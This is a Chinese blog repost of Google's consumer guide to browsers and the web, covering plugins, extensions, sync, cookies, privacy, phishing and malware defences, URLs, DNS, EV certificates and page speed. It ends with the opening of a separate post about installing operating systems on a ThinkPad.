<p>这种独立性意味着一个特定的插件可以适用于多种不同的浏览器。然而，这种普遍性也让插件成为了浏览器安全攻击的主要目标。如果您运行的不是最新版插件，那么您的计算机会更容易遭到安全攻击，因为过时的插件不包含最新的安全修补程序。</p>
<p>我们今天使用的插件模式主要还是沿袭自早期的网络。不过，网络社区目前正在寻找插件现代化的新用途，例如通过巧妙的方法更加无缝地集成插件，以便对插件内容进行搜索和链接，并且可以让插件与网页的其余部分互动。更重要的是，现在一些浏览器供应商和插件提供商会展开合作，共同保护用户免受安全风险。例如，“Google Chrome 浏览器”小组和 Adobe Flash Player 团队已经展开合作，将 Flash Player 集成到了浏览器中。“Chrome 浏览器”的自动更新机制有助于确保 Flash Player 插件永不过时，并且一直收到最新的安全修补程序和补丁。</p>
<p><strong>浏览器扩展程序</strong></p>
<p><strong>浏览器变身“百变金刚”</strong></p>
<p>浏览器扩展程序可让您对浏览器添加新的功能，名副其实地“扩展”浏览器。<em></em></p>
<p>这意味着您可以对浏览器进行自定义，添加最重要的功能。您可以将扩展程序视为在浏览器现有功能的基础上增加新的强大功能。</p>
<p>这些功能可大可小，完全取决于您的需要。例如，您可以安装一个汇率换算扩展程序，安装完成后，浏览器地址栏旁就会显示一个新的按钮。点击该按钮即可将当前网页上的所有价格换算成您指定的币种。如果您是一个习惯在网上规划行程和预订的背包客，那么这款扩展程序就很有帮助。您可以在所有网页上使用这类扩展程序的类似功能。</p>
<p>浏览器扩展程序也可以在网页外部自行运行。电子邮件通知扩展程序可以集成到浏览器工具栏中，在后台检查您的电子邮件帐户中是否收到了新邮件，然后通知您。在这种情况下，无论您在浏览什么网页，该扩展程序总是会在后台运行。这样，您就无需在一个独立窗口中登录电子邮件来查收新邮件。</p>
<p>浏览器扩展程序刚诞生时，开发人员通常必须使用一些不常见的编程语言或者大型的主流编程语言（如 C++）编写这些程序。这对于工作量、时间和专业的知识的要求都很高。向浏览器添加更多的代码还会增加安全隐患，因为这为攻击者提供了更多可乘之机。以前有些扩展程序的代码晦涩难懂，使得扩展程序背负了导致浏览器崩溃的恶名。</p>
<p>如今，大多数浏览器都允许开发人员使用友好的基础网络编程语言开发扩展程序，例如 HTML、JavaScript 和 CSS。这些语言同时也是开发当今大多数网络应用程序和网页所用的语言，因此如今的扩展程序与网络应用程序和网页之间的兼容性更好。扩展程序开发起来更加迅速、简单和安全，而且会随着作为开发基础的网络标准一起不断完善。</p>
<p>要找新的扩展程序，可以查看浏览器的扩展程序库。您会在其中找到成千上万的扩展程序，它们能带给您更高效或更有趣的浏览体验，有些可让您在搜索时在网页上标注突出显示内容以及做笔记；有些可通过浏览器界面为您带来精彩的体育赛事实况报道。</p>
<p><strong>同步浏览器</strong></p>
<p><strong>又有卡车碾过我的笔记本了</strong></p>
<p>恭喜您，您现在已经步入“云”中了！您在收发电子邮件、听音乐以及做每一件事时，几乎都用到了网络应用程序。无论身在何处，您只要通过任意一台可以上网的计算机，就可以在线保存重要文档、照片和各种文件了。</p>
<p>就算是一辆 18 轮的大卡车呼啸着碾碎您的笔记本电脑，您也不会丢失任何数据。明智的您早已将自己的重要信息保存到网上，这时候您只要找到另一台可以上网的设备，就可以拿到重要信息并继续工作了。</p>
<p>但是，像书签、浏览器扩展程序和浏览器偏好设置这些日常使用的内容会怎么样呢？它们会随着您的笔记本电脑一起灰飞烟灭吗？</p>
<p>以前是会的。那时候您必须重新寻找您喜爱的各种扩展程序，重新收集曾经辛辛苦苦添加到书签的各个网站。但现在再也不用这么麻烦了！如今，像 Firebox 和“Chrome 浏览器”等许多浏览器都已着手开发一项称为<strong>同步</strong>的功能。同步功能可让您将浏览器设置在线保存到“云”中，这样就算您的计算机融化了，这些设置也不会丢失。</p>
<p>另外，如果您要用到多台计算机（比如工作时使用笔记本电脑，在家使用台式计算机），有了同步功能就会非常方便。您不必手动地为每一台计算机重新创建收藏网站的书签，也不必重新配置浏览器。只要浏览器具备同步功能，您在一台计算机上所作的更改就会在几秒内自动在其他同步的计算机上反映出来。</p>
<p>以“Chrome 浏览器”为例，同步功能可以将所有的书签、扩展程序、偏好设置以及主题保存到您的 Google 帐户。您在使用其他任何可以上网的计算机时，只需打开“Chrome 浏览器”，然后通过浏览器的同步功能登录您的 Google 帐户。瞧！<em></em>您喜爱的所有浏览器设置这时就可以在新的计算机上使用了。</p>
<p>无论您要使用多少台计算机，只要可以上网并且安装了可同步到“云”的现代浏览器，就万事俱备了。哪怕这些计算机都被传说中的卡车压坏也没关系。</p>
<p><strong>浏览器 Cookie</strong></p>
<p><strong>多亏了记录功能</strong></p>
<p>“Cookie”看起来不像是一个技术名词，但却为互联网用户提供了一项至关重要的功能：记录访问过的网站或正在访问的网站。<em></em></p>
<p>Cookie 是由您访问的网站向您的浏览器发送的一小段文本。其中包含了您希望该网站记住的关于访问活动的信息，例如首选语言或其他一些设置。浏览器会保存这些数据，并在您下次访问该网站时调用它们，为您提供更方便和个性化的访问体验。例如，您在访问一个电影网站时表示某喜剧片最受您的喜爱，那么该网站所发送的 Cookie 就会记录这一点，这样当您下次访问时，就会看到很多的喜剧片。在线购物车也使用 Cookie。例如，您在收费电影网站浏览 DVD 时，会发现在不登录的情况下也可以将 DVD 添加到购物车中。即使您在该网站的各个不同页面上浏览，您的购物车也不会“忘记”您挑选的 DVD，因为您的选择已经通过浏览器的 Cookie 保存下来了。另外，在线广告也会使用 Cookie 记录您的兴趣爱好，并在您访问网页时显示相关的广告。</p>
<p>但是有些人不喜欢使用 Cookie，因此大多数现代浏览器都提供了管理 Cookie 的功能，以满足不同用户的需要。您可以针对不同网站设置用于管理 Cookie 的特定规则，从而更好地保护自己的隐私。这就意味着您可以选择自己信任的网站，只允许这些网站的 Cookie，而阻止其他网站的 Cookie。Cookie 的类型有很多，包括只在某个特定浏览会话期间存在的“仅限会话的 Cookie”，以及可持续多个浏览器会话的“永久 Cookie”。因此，现代浏览器通常都提供了微调控制方法，可让您根据自己的偏好设置不同类型的 Cookie，例如将永久 Cookie 设置为单一会话 Cookie。</p>
<p>在“Google Chrome 浏览器”中，“选项”菜单中提供了一个特殊的直接链接，点击后即可转到 Adobe Flash Player 的存储设置管理器。您可以通过该链接方便地控制由 Adobe Flash Player 存储的本地数据（通常也称为“Flash Cookie”），这些数据包含了您访问过的基于 Flash 的网站或应用程序的信息。就像您可以管理浏览器 Cookie 一样，您也能轻松地控制 Flash Cookie 的设置。</p>
<p><strong>浏览器和隐私</strong></p>
<p><strong>在浏览器中保护自己的隐私</strong></p>
<p>安全与隐私是紧密相关的，但并不完全等同。</p>
<p>您可以想象一下自己家里的安全和隐私保障措施：门锁和报警系统帮助您防盗，而窗帘和百叶窗可以防止路人窥视您的生活隐私。</p>
<p>安全与隐私是紧密相关的，但并不完全等同。</p>
<p>您可以想象一下自己家里的安全和隐私保障措施：门锁和报警系统帮助您防盗，而窗帘和百叶窗可以防止路人窥视您的生活隐私。</p>
<p>让我们更深入地了解一下隐私。打个比方：您是跑步爱好者，每天都要跑上几里路。如果您随身携带一个 GPS 设备来记录每天的跑步数据，就可以在这个设备上创建一份跑步数据日志：您跑到什么地方、跑了多远、平均速度是多少以及消耗了多少卡路里。</p>
<p>而当您浏览网页时，计算机也会在本地生成并存储一份类似的浏览器数据日志，其中包括关于您所浏览网站的记录、发送到浏览器的 Cookie 以及您下载的所有文件。<em></em>如果您将浏览器设置为保存密码或表单数据，那么这些数据也会存储在您的计算机上。</p>
<p>有些人可能没有意识到，所有这些浏览数据都是可以随时从计算机中清除的。只要通过浏览器的“选项”或“偏好设置”菜单，就能轻松完成这样的操作。（不同浏览器的菜单名称会有所区别。）事实上，大部分最新版的现代浏览器还提供了一种“隐私”或“隐身”模式。例如，在“Chrome 浏览器”的隐身模式下，您浏览的所有网页均不会显示在浏览历史记录中。另外，在您关闭所有已打开的隐身窗口后，系统会删除所有新的 Cookie。如果您与其他人共用自己的计算机，或者在当地图书馆或网吧使用公共计算机，那么这种模式就非常方便。</p>
<p>通过浏览器中的所有这些隐私控制功能，您可以控制计算机本地上的浏览数据或由浏览器发送给网站的特定数据。但浏览器的隐私设置无法控制另外的这些网站获取您的数据，例如您以前在这些网站上提交的个人信息。</p>
<p>当然，也有一些方法可以限制网站在您浏览的同时获取某些信息。很多浏览器可以让您针对不同的网站调整隐私偏好设置，并且自行选择 Cookie、JavaScript 和插件等特定数据。例如，您可以设置相应的规则，只允许自己信任的一系列网站的 Cookie，并让浏览器阻止其他所有网站的 Cookie。</p>
<p>在隐私与效率之间总会存在一点冲突。收集来自广大用户的实际汇总数据和反馈确实有助于改善产品和用户体验。关键是在坚持严格的隐私标准的同时，在隐私与效率之间找到最佳平衡点。</p>
<p>下面以浏览器 Cookie 作为实际的例子来说明这一点。一方面，如果使用 Cookie，您经常访问的网站就能够记录您购物车中的商品，让您保持登录状态，并且根据您以前的浏览记录提供更实用、更个性化的浏览体验。而另一方面，允许浏览器 Cookie 就意味着网站会收集和记录您先前浏览过的信息。如果您愿意，可以随时选择阻止 Cookie。这样，您下次希望对浏览器隐私设置进行微调时，可以在浏览器的“选项”或“偏好设置”菜单中修改相应的隐私设置。</p>
<p><strong>恶意软件、网上诱骗和安全风险</strong></p>
<p><strong>披着羊皮的狼</strong></p>
<p>当您在闹市使用自动取款机时，可能会四下张望，以确保没有人偷窥您的密码或窃取现金。其实，您或许应该先检查一下自动取款机是不是真的。当您浏览网页和进行网上交易时，需要提防两大安全风险：恶意软件和网上诱骗。某些个人或组织会利用这些攻击手段，企图窃取您的个人信息或侵入您的计算机。那么，网上诱骗和恶意软件攻击究竟是什么？</p>
<p>网上诱骗是指某些人假冒他人（通常是通过虚假网站）骗取您的个人信息。（“网上诱骗”的说法是从英文中的“钓鱼”一词演化来的，因为这些图谋不轨的人像钓鱼一样投下诱饵，然后等别人上钩。）网上诱骗的惯用手段是这样的：攻击者向您发送一封电子邮件，但是表面上看好像是由您所熟悉的银行或网络服务提供商发送的。这封邮件的主题可能是“请更新您的银行个人信息！”邮件中包含了网上诱骗链接，您点击后以为自己进入的是银行网站，实际却是虚假网站。这个虚假网站会提示您登录，这样您就在不经意间向攻击者透露了自己的银行帐号、信用卡号、密码或其他敏感信息。</p>
<p>恶意软件则有所不同，通常会在您不知道的情况下安装到您的计算机上。这种软件可能会提示您下载一个防病毒软件，而实际上它本身就是病毒。或者，有些网页在您访问时甚至不做任何提示就将软件安装到了您的计算机上。这种软件的真正意图是从您的计算机中窃取信用卡号或密码，有时还会损害您的计算机。恶意软件安装到您的计算机中以后，不仅难以删除，而且还可以自由访问它发现的所有数据和文件，并将这些信息发往别处，这通常会对您的计算机造成严重损害。</p>
<p>最新版的现代网络浏览器是抵御网上诱骗和恶意软件攻击的第一道防线。例如，大多数现代浏览器都能帮助您分析网页，以寻找可能存在恶意软件的迹象，并在发现它们时提醒您。</p>
<p>另外，攻击者可能并不总是利用高超的技术手段侵入您的计算机，有时候也会耍一些小花招诱骗您做出错误的决定。下面几章会向您介绍如何就保护网上安全做出更明智的决定，以及如何借助浏览器和其他网络技术。</p>
<p><strong>新一代的浏览器如何帮您抵御恶意软件和网上诱骗</strong></p>
<p><strong>小心这些坏家伙！</strong></p>
<p>在您浏览网页的时候，最新版本的浏览器能保护您免受网上诱骗和恶意软件的攻击。这是通过限制您上网时面临的三类安全风险实现的：</p>
<p>风险 1：您遭到黑客攻击的频率有多大</p>
<p>在访问恶意虚假网站或者遭到入侵的熟悉网站时，您都有可能受到攻击。大部分现代浏览器都可以预先检查您访问的每个网页，如果发现某个疑似恶意的网页，就会提醒您注意。这样，您就能做出明智的判断：是否真的要访问这个网页。</p>
<p>例如，“Google Chrome 浏览器”采用了“安全浏览”技术，这种技术也应用于其他几种现代浏览器。当您浏览网页时，浏览器会将每个网页与疑似存在网上诱骗和恶意软件的网站列表进行快速比对。这个列表会在您的本地计算机上进行存储和维护，从而帮助您保护浏览隐私。如果从本地列表中找到了匹配项，浏览器就会向 Google 发送一条请求，以获取更多信息。（这条请求是完全加密的，不会以纯文本形式发送。）如果 Google 通过验证确定是匹配项，“Chrome 浏览器”就会显示一个红色警告页面，提醒您尝试访问的网页可能存在风险。</p>
<p>风险 2：您的浏览器对于攻击行为的抵抗力如何</p>
<p>未升级的旧版浏览器可能存在会遭到攻击的安全漏洞。无论是操作系统、浏览器还是插件，所有过期的软件都存在同样的安全问题。因此很有必要使用最新版的浏览器，并且及时为操作系统和插件打上安全补丁，确保它们的安全修补程序总是最新的。</p>
<p>有些浏览器可自动检查更新，并根据用户的操作安装更新。“Chrome 浏览器”和其他一些浏览器在更新方面更为先进，都内置了自动更新功能。这些浏览器会定期运行更新检查，然后自动升级到最新的版本，而升级过程并不影响浏览。此外，“Chrome 浏览器”中还集成了 Adobe Flash Player 和 PDF 查看器，这些热门插件也是可以自动更新的。</p>
<p>风险 3：您的浏览器漏洞遭到攻击后会造成多大损失</p>
<p>“Chrome 浏览器”和 Internet Explorer 等现代浏览器额外内置了一个称为“沙盒”的保护层。就像现实中的沙盒有护壁防止沙子流出一样，浏览器的沙盒构建了一个封闭的环境，可防止恶意软件和其他安全威胁侵害您计算机。在您打开恶意网页时，浏览器的沙盒会阻止恶意代码传播到浏览器外部并自行安装到您的硬盘上。这样，恶意代码就不能读取、更改或进一步损害您计算机中的数据。</p>
<p>总而言之，现代浏览器可以通过以下手段，保护您免受网络安全威胁：第一，检查您要访问的网站是否存在恶意软件或网上诱骗；第二，发现更安全的新版本后，会提供更新提示或进行自动更新；第三，使用浏览器沙盒阻止恶意代码进一步损害计算机。</p>
<p>在下面几章中，我们会介绍一些关于网址的基本知识，帮助您对要访问的网站作出更明智的选择。</p>
<p><strong>使用网址，确保安全</strong></p>
<p><strong>或者说，“我的名字叫网址”</strong></p>
<p>统一资源定位符（也就是人们熟知的 URL，即网址）或许听起来挺复杂的，但是不用担心，这其实就是您要访问特定网页或网络应用程序时，在浏览器中键入的网址。</p>
<p>当您输入一个网址后，位于世界某个地方的托管服务器就会抓取相应的网站，通过很长的电缆将该网站传输到您的本地互联网连接，并最终显示在您计算机上的浏览器中。</p>
<p>我们每天都会在浏览器中键入网址，已经觉得习以为常了。但是我们应该了解网址的方方面面，这有助于抵御各种网上诱骗或安全攻击。</p>
<p>我们以下面的这个网址为例：<a href="http://www.google.com/maps">http://www.google.com/maps</a> 协议 主机名 路径 顶级域名</p>
<p>网址的第一部分称为<strong>协议</strong>。在上面的示例中，HTTP 协议是“超文本传输协议”的缩写。</p>
<p>协议后面的“www.google.com”部分网站是所属的<strong>主机</strong>的名称。任何个人或公司在创建新网站时，都会注册一个属于自己的主机名，而且也只供自己使用。我们后面就会说到，这一点是非常重要的。</p>
<p>网址中的主机名部分后面可能还有<strong>路径</strong>，可以将您转到该主机上的某个特定网页，就像直接跳到书中的某一章或某一页。让我们回到示例，其中的路径告诉主机服务器，您想访问 www.google.com 上的“地图”(map) 网络应用程序（也就是“Google 地图”）。有时，这种路径会作为子域放到主机名的前面，例如，“maps.google.com”对应“Google 地图”，“news.google.com”对应“Google 新闻”。</p>
<p>现在我们来谈谈安全性。要判断您是否遭到网上诱骗或误入虚假网站，有一种方法就是仔细观察浏览器地址栏中的网址。尤其请留意主机名：切记，使用主机名的只能是合法拥有者。</p>
<p>例如，您为了访问美国银行的网站而点击了某个链接：</p>
<p>合法网址：</p>
<ul>
<li>www.bankofamerica.com 是合法网址，因为主机名是正确的。</li>
<li>www.bankofamerica.com/smallbusiness 也是合法网址，因为主机名同样是正确的。这个网址的路径指向的是关于小型企业的子网页。</li>
</ul>
<p>可疑网址：</p>
<ul>
<li>bankofamerica.xyz.com 不是美国银行的网站。“bankofamerica”实际上是 xyz.com 网站的子域。</li>
<li>www.xyz.com/bankofamerica 也不是美国银行的网址。“bankofamerica”实际上是 www.xyz.com 中的路径。</li>
</ul>
<p>如果您要使用密码或帐号等敏感信息访问银行网站或进行在线交易，请首先检查地址栏中的网址！应确保网址的协议是“<strong>https://</strong>”，并且浏览器地址栏中显示锁形图标。“https://”表示服务器与浏览器之间传输数据所用的是安全连接。</p>
<p>使用安全连接的美国银行网站的完整网址应该是这样的：<strong>https://</strong>www.bankofamerica.com。安全连接可以确保其他人无法窃取或篡改您所发送的敏感信息。所以“https://”是一个好的标志。但请注意，您依然很有必要检查网址的主机名，以确保自己访问的是合法网站。（这样可以识破那些使用了安全连接的虚假网站！）</p>
<p>在下一章中，我们会介绍键入浏览器地址栏中的网址如何将您转到相应的网页。</p>
<p><strong>IP 地址和 DNS</strong></p>
<p><strong>幽灵电话亭</strong></p>
<p>您想不想知道，当您在地址栏中键入网址时，浏览器是如何找到对应网页的？</p>
<p>每一个网址（例如，“www.google.com”）都对应一个用数字表示的互联网协议 (IP) 地址。</p>
<p>如下所示：<strong>74.125.19.147</strong></p>
<p>IP 地址就是一串数字，用来表示网络上某个特定设备所在的位置，例如哪里是 google.com 或哪里是您的计算机。这有点像妈妈的电话号码：拨打您妈妈的电话号码可以告知接线员将电话接到您妈妈那儿，而 IP 地址可以指示您的计算机与网络上的哪台设备通信，也就是收发数据。</p>
<p>世界上有 350 亿台设备（或更多）连接在互联网上，浏览器并不能自动识别其中的每个 IP 地址，只能使用所谓的“域名系统”（即 DNS）一个一个地查找。DNS 实质上就是网络“电话簿”：电话薄的作用是将“全聚德烤鸭”这样的名称转换成对应的电话号码；而 DNS 则是将网址（例如，“www.google.com”）转换成要连接的对应 IP 地址（例如，“74.125.19.147”），从而获得您想要的信息（在本例中也就是 Google 首页）。</p>
<p>当您在网络浏览器中键入“google.com”时，浏览器会通过 DNS 查找 google.com 的 IP 地址并与之连接，等待目标地址做出响应以确认连接，然后将您要访问 google.com 网页的请求发送到该 IP 地址。位于该 IP 地址的 Google 服务器在收到请求后将所请求的网页发送回您计算机的 IP 地址，让您的浏览器显示该网页。</p>
<p>不过，使用浏览器获取和载入网页与打电话相比，在很多方面还是有区别的。您打电话时可能是这样一个流程：查找电话号码，拨号，等待对方接听，接通后说“喂”，等待对方回应，然后开始对话。有时候连接出现问题，您就得重播。而在网络上，类似的流程是在瞬间完成的；您刚在浏览器中键入“www.google.com”，Google 首页就显示出来了。</p>
<p>下一章我们会介绍一下，使用浏览器获取和载入网站时，如何通过<strong>扩展验证证书</strong>验证网站的身份。</p>
<p><strong>在线身份验证</strong></p>
<p><strong>“您就是那谁吧?”</strong></p>
<p>在现实生活中，您可以直接看到与您分享信息的对象。您可以与对方面对面地交谈，或者在银行分行这样可以信赖的场所会面。您会通过这种方式产生第一印象，判断对方是否值得信赖。</p>
<p>但是在网络上，很难知道网站背后的人究竟是谁。我们通常所依赖的一些表面迹象可能是假的。例如，虚假网页会模仿真实银行网站的徽标、图标和设计风格，就好象是在您住的街区开了一家冒牌店面。</p>
<p>幸运的是，有一些工具可以帮助您判断网站的真伪。有些网站具备<strong>扩展验证证书</strong>，可让您判断运营该网站的组织名称。这种扩展验证证书所提供的信息可帮助您确保不会将个人信息透露给虚假网站。</p>
<p>下面的示例介绍了如何在浏览器中进行扩展验证。如果某个银行的网站已经通过了扩展验证，那么该银行的名称就会显示地址栏的锁形图标与网址之间的绿色框中。</p>
<p>大多数浏览器都提供了扩展验证标志，只要在浏览器地址栏的绿色部分中查找相关组织的名称就可以发现。您还可以点击此类标志，从而查看相关网站的安全信息以及数字证书。</p>
<p>网站拥有者必须通过一系列的检查，在合法身份和权威性得到确认后，才能获得扩展验证证书。在前面的示例中，对 bankofamerica.com 的扩展验证得到了肯定的结果，该网站确实是美国银行的官方网站。您可以将这种证书看成一条纽带，将网址的域名与现实中的某种身份联系在了一起。</p>
<p>只有在您信任运营该网站的组织的情况下，才可以向该网站提供敏感信息。因此，以后您在网络上处理敏感信息之前，请务必先查看相关网站的安全信息。您会发现，这样做绝对是值得的。</p>
<p><strong>向更快的网络时代迈进</strong></p>
<p><strong>加快网络上图片、视频和 JavaScript 的速度</strong></p>
<p>如今的网络就像一锅色香味俱全的大杂烩，有着海量的图片、照片、视频以及奇妙的网络应用程序。网络上某些最生动的体验来自于各种图片和视频，例如，家庭度假的共享相册或者战地记者发布的在线视频报道。</p>
<p>如今的网络已经远远超出了当初那种简单文本和链接的范畴。这意味着每当您的浏览器载入一个网页时，都需要处理更多的数据和更复杂的代码。</p>
<p>数据量和复杂程度究竟提高了多少呢？下面的一些统计数据足以令人震惊：</p>
<ul>
<li>按每页字节数计算，目前一个常见网页上的图片和照片占据了大约 <strong>65% 的信息量</strong>。</li>
<li>每分钟有总时长 <strong>35 小时的视频</strong>上传到 YouTube。（这就好比好莱坞每周要发行 13 万部新片，不过爆米花消耗量可没这么多。）</li>
<li>JavaScript 程序的源代码已经从只有几行增加到了<strong>几百 KB</strong>，每次载入网页或应用程序时都必须处理这些 JavaScript 程序。</li>
</ul>
<p>那么，这些汹涌而来的数据会减慢浏览器载入网页的速度吗？互联网会很快因为堵塞而变得一团糟吗？</p>
<p>这不太可能。计算机科学家们找到了将图片和照片压缩成较小文件的方法，以便于发送和下载，使它们可以在网络上广泛应用。GIF 和 JPEG 是早期文件压缩系统中最常用的格式。同时，插件的发明打破了 HTML 的早期限制，让视频可以嵌入在网页中并进行播放。</p>
<p>将来，用户利用 HTML5 中的 &lt;video&gt; 标记就可以轻松地在网页中嵌入和播放视频了。Google 还与网络社区在 WebM 项目上展开合作，致力于开发一种免费的开放源代码视频格式，可以适应网络上的各种计算机性能和带宽条件，这样无论是内布拉斯加州农家的计算机还是内罗毕的智能手机，都能收到高品质的视频。</p>
<p>不过，包含较大照片或其他图片的网页在载入时依然很慢。因此，Google 的一些工程师一直在尝试进一步压缩图片的新方法，同时还要保持图片的质量和分辨率。初步结果如何呢？非常乐观。他们开发出了一种称为 WebP 的新图片格式，可以将普通图片文件的大小压缩 39%。</p>
<p>在现代浏览器中运行 JavaScript 代码的引擎也经过了重新设计，能够比以往更快地处理代码。这些快速 JavaScript 引擎（如“Google Chrome 浏览器”的 V8 引擎）已成为所有现代浏览器的核心部分。这意味着基于 JavaScript 的下一代网络应用程会拥有极高的实用性，并彻底摆脱 JavaScript 代码复杂度日益增加所带来的羁绊。</p>
<p>“Google Chrome 浏览器”等现代浏览器还采用了一种称为“DNS 预解析”的技术，可以更快地抓取和载入网页。通过 DNS 查找将网址转换为 IP 地址的过程称为“解析”，反之则称为“反向解析”。“Chrome 浏览器”会通过 DNS 预解析同时查找网页上的其他所有链接，并在后台将这些链接预解析为 IP 地址。因此，当您实际点击网页上的某个链接后，浏览器就能立即将您转到新的网页。随着使用次数的增加，“Chrome 浏览器”还能通过以前的访问记录获取信息，这样您在下次访问某个以前曾访问过的网页时，“Chrome 浏览器”就会自动预解析该网页上的所有相关链接和元素。</p>
<p>或许有一天，浏览器能在载入网页前就做出预测，不仅知道要预解析哪些链接，还知道要预先抓取哪些网站元素（如图片或视频）。<em></em>这会使网络速度更快。</p>
<p>我们希望在不久的将来，浏览器载入新网页就像翻书一样快。</p>
<p><strong>开放源代码和浏览器</strong></p>
<p><strong>站在巨人的肩膀上</strong></p>
<p>如今的互联网站在了巨人们的肩膀上：技术人员、点子专家、开发人员以及那些不断拓展创新范围和分享自己知识的组织。</p>
<p>分享精神正是开放源代码的核心所在。“开放源代码”意味着将软件的内部运行方式（也就是“源代码”）公布于众，而软件也会以一种开放和协作的方式编写。任何人都可以查看源代码、了解它的原理、对它进行调整或补充，并在其他产品或服务中重复使用。</p>
<p>开放源代码软件在网络的很多方面（包括现代浏览器）都起着巨大的作用。开放源代码浏览器 Mozilla Firefox 的发布，为日后很多出色的浏览器创新功能铺平了道路。“Google Chrome 浏览器”也是在 Mozilla Firefox 浏览器的某些组件以及开放源代码呈现引擎 WebKit 等基础上开发的。本着同一种精神，Google 开放了“Chrome 浏览器”的源代码，让全世界的网络社区都可以在他们自己的产品中使用“Chrome 浏览器”的创新，甚至进一步完善“Chrome 浏览器”的源代码。</p>
<p>这种开放源代码的浏览器更快、更简单而且更安全，它的受益者并不单单是网页开发人员和普通用户。像 Google 这样的公司也在公开分享构想的过程中受益匪浅。更好的浏览器可以为用户提供更好的网络体验，而用户在获得更好的体验后，又会浏览更多的网络内容。更好的浏览器还可以帮助企业开发出具有最新先进功能的网络应用程序，这同样可以改善用户体验。</p>
<p>浏览器并不是网络中唯一能采用开放源代码做法的地方。您可以去问一下任何一位网络开发人员，他们在托管和发布网站的过程中，可能都会用到开放源代码的 Apache HTTP Server；或者，他们是在安装了 Linux 开放源代码操作系统的计算机上开发了代码，以上只是几个示例。开放源代码社区会一如既往地为改进网络而努力，让网络成为可供下一代人站立的宽阔肩膀。</p>
<p><strong>最后一个须知..</strong></p>
<p><strong>云计算时代的生活</strong></p>
<p>&#8230;现在我们要说第 20 件事情了。让我们概括一下。</p>
<p>如今的网络是一个多姿多彩、生动直观、注重实效、古灵精怪、繁忙热闹、朋友汇聚、有趣并且非常实用的地方。我们许多人都生活在<a href="http://www.20thingsilearned.com/what-is-the-internet/1">互联网</a>上的<a href="http://www.20thingsilearned.com/cloud-computing/1">云计算</a>中：我们使用基于网络的应用程序在浏览器中在线读新闻、看电影、和朋友聊天以及处理我们的日常事务。<a href="http://www.20thingsilearned.com/web-apps/1">网络应用程序</a>让我们可以在任何地方做这些事情，就算是自己的笔记本电脑留在家里也可以。</p>
<p>这一切都要归功于 <a href="http://www.20thingsilearned.com/html/1">HTML、JavaScript 和 CSS</a> 等网络标准，以及<a href="http://www.20thingsilearned.com/plugins/1">浏览器插件</a>。<a href="http://www.20thingsilearned.com/html5/1">HTML5</a> 的新功能可以帮助开发人员构建颇具创意的下一代网络应用程序。</p>
<p>云计算还有哪些其他的前景？</p>
<ul>
<li>只有<a href="http://www.20thingsilearned.com/old-vs-new-browsers/1">新一代的浏览器</a>才能充分利用网络的各种新功能。</li>
<li>新一代的浏览器还能<a href="http://www.20thingsilearned.com/browser-protection/1">保护用户</a>免受<a href="http://www.20thingsilearned.com/malware/1">恶意软件和网上诱骗</a>的攻击。</li>
<li><a href="http://www.20thingsilearned.com/open-source/1">开放源代码</a>共享为我们提供了更好的浏览器以及速度更快、内容更丰富而且架构更精密的网络。开放源代码的智能将会为网络开创更加美好的未来。</li>
<li>未来有哪些值得期待的事情？<a href="http://www.20thingsilearned.com/threed/1">浏览器支持 3D 功能</a>，<a href="http://www.20thingsilearned.com/page-load/1">载入速度更快</a>，在各种设备之间<a href="http://www.20thingsilearned.com/sync/1">同步</a>，以及<a href="http://www.20thingsilearned.com/dns/1">其他一些事情</a>。</li>
<li>要成为网络达人，您需要自学一些东西，例如：针对各种不同的内容（包括 <a href="http://www.20thingsilearned.com/browser-cookies/1">Cookie</a>）控制浏览器的<a href="http://www.20thingsilearned.com/browser-privacy/1">隐私设置</a>。</li>
<li>只要您注意浏览器中一些可见的提示，上网就会更安全，例如检查您要访问的网址，寻找“https://”<a href="http://www.20thingsilearned.com/url/1">安全连接</a>或<a href="http://www.20thingsilearned.com/identity/1">扩展验证</a>。</li>
</ul>
<p>最后总结</p>
<p><strong>使用新一代的浏览器</strong>，这是首当其冲的。或者尝试使用一种新型浏览器，看它能否更好地满足您的需要，为您提供更愉快的浏览体验。</p>
<p><strong>网络会以惊人的速度不断发展！</strong>支持像 HTML5、CCS3 和 WebGL 等尖端网络技术，因为这些技术会帮助网络社区构想并实现创新的美好未来。</p>
<p><strong>最后，尝试一下新事物。</strong>网络上每天都会出现新奇而令人兴奋的事物，不妨尝试一下您以前没有想过能在网上做的事情，比如搜索前十代的祖先，或者观看从喜马拉雅山攀登营地发来的实时网络影像。您会对自己的发现大吃一惊！</p>
<p>原文地址：<a href="http://www.20thingsilearned.com/zh-CN/home">http://www.20thingsilearned.com/zh-CN/home</a></p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/google-public-dns.html' rel='bookmark' title='Google Public DNS'>Google Public DNS</a></li>
<li><a href='http://www.biaodianfu.com/speeding-up-website.html' rel='bookmark' title='提高网站显示速度的方法'>提高网站显示速度的方法</a></li>
<li><a href='http://www.biaodianfu.com/google-chrome-frame.html' rel='bookmark' title='Google Chrome Frame 谷歌浏览器框架'>Google Chrome Frame 谷歌浏览器框架</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/20-things-i-learned-about-browsers-and-the-web.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ThinkPad系统安装记录</title>
		<link>http://www.biaodianfu.com/thinkpad-install-os.html</link>
		<comments>http://www.biaodianfu.com/thinkpad-install-os.html#comments</comments>
		<pubDate>Sat, 25 Jun 2011 09:30:46 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[操作系统]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=3871</guid>
		<description><![CDATA[最近的一段时间很久没写东西了，一方面是在倒腾新买的电脑（ Lenovo ThinkPad W520 37U ），一方面是在学习 Python 。下面来说说自己的 ThinkPad 系统安装历程。 买来的 Thinkpad 的硬盘有500G，不用来折腾安装操作系统实在是有些浪费。下面就来说说怎样安装系统。买来的电脑中自带的是 Windows 7 Professional 英文版的，无奈Professional版的不支持直接在系统总更改语言包，貌似只有 企业版( Enterprise )和旗舰版( Ultimate )支持更换语言。尝试了N遍以后决定重装系统。 重装系统的时候一开始考虑要安装一下系统： Windows XP SP3 2bit Windows 7 Ultimate 64bit Ubuntu 11.04 amd64 Mac OS X Lion 于是就是安装文件的下载了，考虑到自己的电脑是联想出版的，所以首先考虑的是看下网上是否有联想 OEM 版的系统下载，然后刻录成安装光盘。 以下为收集的系统下载链接： 联想 Windows XP SP3 32位（联想官方下载链接） 联想.OEM.win7.64位.旗舰版.DIY（网友自己制作的版本，电驴链接） Ubuntu 11.04（Ubuntu官网链接） Mac 